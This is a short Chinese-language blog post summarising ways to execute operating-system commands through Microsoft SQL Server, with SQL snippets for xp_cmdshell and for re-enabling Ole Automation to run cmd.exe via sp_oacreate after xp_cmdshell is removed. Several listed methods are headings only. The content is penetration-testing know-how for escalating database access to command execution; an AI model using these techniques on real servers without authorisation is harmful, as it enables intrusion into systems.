MSSQL执行命令总结+流量分析

xp_cmdshell

exec master..xp_cmdshell "命令"
//修改配置,1为开启xm_cmdshell方法,0是关闭
EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;




wireshark抓包数据内容如下,发现mssql交互是应用层的表格数据流协议tds,详细协议介绍参考tds协议详细解析

SP_OACREATE

//一步一步执行打开sp_oacreate方法,执行[此方法无回显]
xp_cmdshell 删除以后,可以使用SP_OACreate。
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c dir >c:\\1.txt'



通过沙盒执行命令

通过Agent Job执行命令

参考连接

Mssql数据库命令执行总结
MSSQL中执行OS命令大全
MSSQL执行命令总结

posted @ 2021-06-03 14:23  renblog  阅读(473)  评论(0编辑  收藏  举报